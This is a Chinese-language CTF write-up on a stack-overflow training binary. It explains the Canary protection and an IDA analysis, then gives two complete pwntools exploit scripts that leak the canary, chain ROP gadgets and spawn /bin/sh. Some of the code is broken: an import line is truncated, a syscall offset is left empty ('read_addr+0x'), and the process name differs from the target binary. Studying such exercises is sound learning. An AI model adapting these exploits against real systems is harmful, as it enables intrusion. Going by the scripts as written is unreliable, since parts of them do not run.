在这里给自己做个记录。今日在学习栈溢出,训练营给我们出了一道题让我们练习。
题目
解题记录
1. 分析文件
(base) root@123:~/桌面# file easy_stack1
easy_stack1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67d656f542879f1e4df509ece0d882eed9faaa2c, not stripped
ile easy_stack1发现这是一个linux elf可执行文件
勇敢checksec工具查看 easy_stack1,发现开启了Canary保护,并且patrical relro。
图片4.png
这说明该程序采用了金丝雀保护机制canary保护机制
所谓canary意思如下:
Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露
2.IDA 打开文件
用IDA Pro 64位打开
图片1.png
按F5按钮,查看伪代码
图片2.png
关键在于Vuln,双击如下所示:
图片3.png
3.解题思路
明显的的栈溢出漏洞,绕过canary,然后构造ROP链到执行‘/bin/sh’,获取shell
跟训练因的同伴交流有两个思路,一个是将payload到_bss段执行,一个是直接payload到system地址和bin_sh地址调用'\bin\sh'
思路一的exp如下:
rom pwn import *
main_addr = 0x4007d9
io = process('./easy_stack1')
elf = ELF('./easy_stack1')
#context.log_level='debug'
payload1 = 'a' * 104 #+ flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96)
io.sendlineafter("Lets get shell!\n",payload1)
io.recvuntil(payload1)
canary = u64(io.recv(8))-0xa
io.recv()
print 'canary: '+hex(canary)
poprdi_rn=0x400873
read_got=elf.got['read']
puts_plt=elf.plt['puts']
sleep(1)
payload='a'* 104
payload+=p64(canary)
payload+='a'*8
payload+=p64(poprdi_rn)
payload+=p64(read_got)+p64(puts_plt)
payload+=p64(main_addr)
io.sendline(payload)
read_addr =u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
print 'read_addr: '+hex(read_addr)
syscall=read_addr+0x
print 'syscall: '+hex(syscall)
p6r=0x40086a
initaddr=0x400850
bss_addr=0x601070
io.sendlineafter("Lets get shell!\n","11\n")
sleep(1)
payload ='a'*104
payload+=p64(canary)
payload+='a'* 8
payload+=p64(p6r)
payload+=p64(0)+p64(1)+p64(read_got)+p64(0x43)+p64(bss_addr)+p64(0)
payload+=p64(initaddr)
payload+=p64(0)
payload+=p64(0)+p64(1)+p64(bss_addr+8)+p64(0)+p64(0)+p64(bss_addr)
payload+=p64(initaddr)
io.send(payload)
payload='a'* 8
payload+='/bin/sh\x00'+p64(syscall)
payload=payload.ljust(0x43,'a')
io.send(payload)
print io.recv()
io.interactive()
思路2的exp
from pwn import *
context.log_level='debug'
libc_base=0xf7e04000
system_py=0x3ada0
pop_rdi_ret=0x400873
puts_got=0x601018
puts_plt=0x4005C0
read2=0x4007a7
p = process('canary3')
p.recvuntil('shell!')
p.sendline('a'*104)
p.recvuntil('a'*104)
ca=p.recv(8)
canary=u64(ca)-0xa
print(hex(canary))
rbp=u64(p.recv().ljust(8,'\x00'))
payload='a'*104+p64(canary)+p64(rbp)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x4007ac)
#payload='/bin/sh\n'+'a'*96+p64(canary)+'a'*8+p64(system_addr)+'a'*8
p.sendline(payload)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-0x6f690
print('libc: '+hex(libc_base))
systme_addr=libc_base+0x45390
bin_sh_addr=libc_base+0x18cd57
payload='a'*104+p64(canary)+'a'*16+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(systme_addr)
p.sendline(payload)
p.interactive()
网友评论